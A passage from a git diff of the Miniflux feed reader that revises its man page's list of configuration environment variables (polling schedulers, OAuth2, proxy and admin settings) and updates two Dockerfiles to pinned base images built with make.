+.br +Default is empty\&. +.TP +.B OAUTH2_PROVIDER +Possible values are "google" or "oidc"\&. +.br +Default is empty\&. +.TP .B OAUTH2_REDIRECT_URL OAuth2 redirect URL\&. .br @@ -389,46 +442,11 @@ This URL must be registered with the provider and is something like https://mini .br Default is empty\&. .TP -.B OAUTH2_OIDC_DISCOVERY_ENDPOINT -OpenID Connect discovery endpoint\&. -.br -Default is empty\&. -.TP .B OAUTH2_USER_CREATION Set to 1 to authorize OAuth2 user creation\&. .br Disabled by default\&. .TP -.B RUN_MIGRATIONS -Set to 1 to run database migrations\&. -.br -Disabled by default\&. -.TP -.B CREATE_ADMIN -Set to 1 to create an admin user from environment variables\&. -.br -Disabled by default\&. -.TP -.B ADMIN_USERNAME -Admin user login, used only if $CREATE_ADMIN is enabled\&. -.br -Default is empty\&. -.TP -.B ADMIN_USERNAME_FILE -Path to a secret key exposed as a file, it should contain $ADMIN_USERNAME value\&. -.br -Default is empty\&. -.TP -.B ADMIN_PASSWORD -Admin user password, used only if $CREATE_ADMIN is enabled\&. -.br -Default is empty\&. -.TP -.B ADMIN_PASSWORD_FILE -Path to a secret key exposed as a file, it should contain $ADMIN_PASSWORD value\&. -.br -Default is empty\&. -.TP .B POCKET_CONSUMER_KEY Pocket consumer API key for all users\&. .br @@ -439,93 +457,83 @@ Path to a secret key exposed as a file, it should contain $POCKET_CONSUMER_KEY v .br Default is empty\&. .TP -.B PROXY_OPTION -Avoids mixed content warnings for external media: http-only, all, or none\&. +.B POLLING_FREQUENCY +Refresh interval in minutes for feeds\&. .br -Default is http-only\&. +Default is 60 minutes\&. .TP -.B PROXY_MEDIA_TYPES -A list of media types to proxify (comma-separated values): image, audio, video\&. +.B POLLING_PARSING_ERROR_LIMIT +The maximum number of parsing errors that the program will try before stopping polling a feed. Once the limit is reached, the user must refresh the feed manually. Set to 0 for unlimited. .br -Default is image only\&. +Default is 3\&. .TP -.B PROXY_HTTP_CLIENT_TIMEOUT -Time limit in seconds before the proxy HTTP client cancel the request\&. +.B POLLING_SCHEDULER +Scheduler used for polling feeds. Possible values are "round_robin" or "entry_frequency"\&. .br -Default is 120 seconds\&. -.TP -.B PROXY_URL -Sets a server to proxy media through\&. +The maximum number of feeds polled for a given period is subject to POLLING_FREQUENCY and BATCH_SIZE\&. .br -Default is empty, miniflux does the proxying\&. -.TP -.B HTTP_CLIENT_TIMEOUT -Time limit in seconds before the HTTP client cancel the request\&. +When "entry_frequency" is selected, the refresh interval for a given feed is equal to the average updating interval of the last week of the feed\&. .br -Default is 20 seconds\&. -.TP -.B HTTP_CLIENT_MAX_BODY_SIZE -Maximum body size for HTTP requests in Mebibyte (MiB)\&. +The actual number of feeds polled will not exceed the maximum number of feeds that could be polled for a given period\&. .br -Default is 15 MiB\&. +Default is "round_robin"\&. .TP -.B HTTP_CLIENT_PROXY -Proxy URL for HTTP client\&. +.B PORT +Override LISTEN_ADDR to 0.0.0.0:$PORT\&. .br Default is empty\&. .TP -.B HTTP_CLIENT_USER_AGENT -The default User-Agent header to use for the HTTP client. Can be overridden in per-feed settings\&. -.br -When empty, Miniflux uses a default User-Agent that includes the Miniflux version\&. -.br -Default is empty. -.TP -.B HTTP_SERVER_TIMEOUT -Time limit in seconds before the HTTP client cancel the request\&. -.br -Default is 300 seconds\&. -.TP -.B AUTH_PROXY_HEADER -Proxy authentication HTTP header\&. -.br -Default is empty. -.TP -.B AUTH_PROXY_USER_CREATION -Set to 1 to create users based on proxy authentication information\&. +.B RUN_MIGRATIONS +Set to 1 to run database migrations\&. .br Disabled by default\&. .TP -.B MAINTENANCE_MODE -Set to 1 to enable maintenance mode\&. +.B SCHEDULER_ENTRY_FREQUENCY_FACTOR +Factor to increase refresh frequency for the entry frequency scheduler\&. +.br +Default is 1\&. +.TP +.B SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL +Maximum interval in minutes for the entry frequency scheduler\&. +.br +Default is 24 hours\&. +.TP +.B SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL +Minimum interval in minutes for the entry frequency scheduler\&. +.br +Default is 5 minutes\&. +.TP +.B SCHEDULER_ROUND_ROBIN_MIN_INTERVAL +Minimum interval in minutes for the round robin scheduler\&. +.br +Default is 60 minutes\&. +.TP +.B SERVER_TIMING_HEADER +Set the value to 1 to enable server-timing headers\&. .br Disabled by default\&. .TP -.B MAINTENANCE_MESSAGE -Define a custom maintenance message\&. -.br -Default is "Miniflux is currently under maintenance"\&. -.TP .B WATCHDOG Enable or disable Systemd watchdog\&. .br Enabled by default\&. .TP -.B INVIDIOUS_INSTANCE -Set a custom invidious instance to use\&. -.br -Default is yewtu.be\&. -.TP -.B PROXY_PRIVATE_KEY -Set a custom custom private key used to sign proxified media URL\&. -.br -Default is randomly generated at startup\&. -.TP .B WEBAUTHN Enable or disable WebAuthn/Passkey authentication\&. .br +Note: After activating and setting up your Passkey, just enter your username and click the Passkey login button\&. +.br Default is disabled\&. - +.TP +.B WORKER_POOL_SIZE +Number of background workers\&. +.br +Default is 16 workers\&. +.TP +.B YOUTUBE_EMBED_URL_OVERRIDE +YouTube URL which will be used for embeds\&. +.br +Default is https://www.youtube-nocookie.com/embed/\&. .SH AUTHORS .P Miniflux is written and maintained by Fr\['e]d\['e]ric Guillot\&. diff --git a/packaging/docker/alpine/Dockerfile b/packaging/docker/alpine/Dockerfile index 9fc93858..93355295 100644 --- a/packaging/docker/alpine/Dockerfile +++ b/packaging/docker/alpine/Dockerfile @@ -1,14 +1,10 @@ -FROM golang:alpine AS build -ENV CGO_ENABLED=0 -RUN apk add --no-cache --update git +FROM docker.io/library/golang:alpine3.19 AS build +RUN apk add --no-cache build-base git make ADD . /go/src/app WORKDIR /go/src/app -RUN go build \ - -o miniflux \ - -ldflags="-s -w -X 'miniflux.app/v2/internal/version.Version=`git describe --tags --abbrev=0`' -X 'miniflux.app/v2/internal/version.Commit=`git rev-parse --short HEAD`' -X 'miniflux.app/v2/internal/version.BuildDate=`date +%FT%T%z`'" \ - main.go +RUN make miniflux -FROM alpine:latest +FROM docker.io/library/alpine:3.19 LABEL org.opencontainers.image.title=Miniflux LABEL org.opencontainers.image.description="Miniflux is a minimalist and opinionated feed reader" diff --git a/packaging/docker/distroless/Dockerfile b/packaging/docker/distroless/Dockerfile index 5d50dd98..a4080891 100644 --- a/packaging/docker/distroless/Dockerfile +++ b/packaging/docker/distroless/Dockerfile @@ -1,13 +1,9 @@ -FROM golang:latest AS build -ENV CGO_ENABLED=0 +FROM docker.io/library/golang:bookworm AS build ADD . /go/src/app WORKDIR /go/src/app -RUN go build \ - -o miniflux \ - -ldflags="-s -w -X 'miniflux.app/v2/internal/version.Version=`git describe --tags --abbrev=0`' -X 'miniflux.app/v2/internal/version.Commit=`git rev-parse --short HEAD`' -X 'miniflux.app/v2/internal/version.BuildDate=`date +%FT%T%z`'" \ - main.go +RUN make miniflux -FROM gcr.io/distroless/base:nonroot +FROM gcr.io/distroless/base-debian12:nonroot LABEL org.opencontainers.image.title=Miniflux LABEL org.opencontainers.image.description="Miniflux is a minimalist and opinionated feed reader"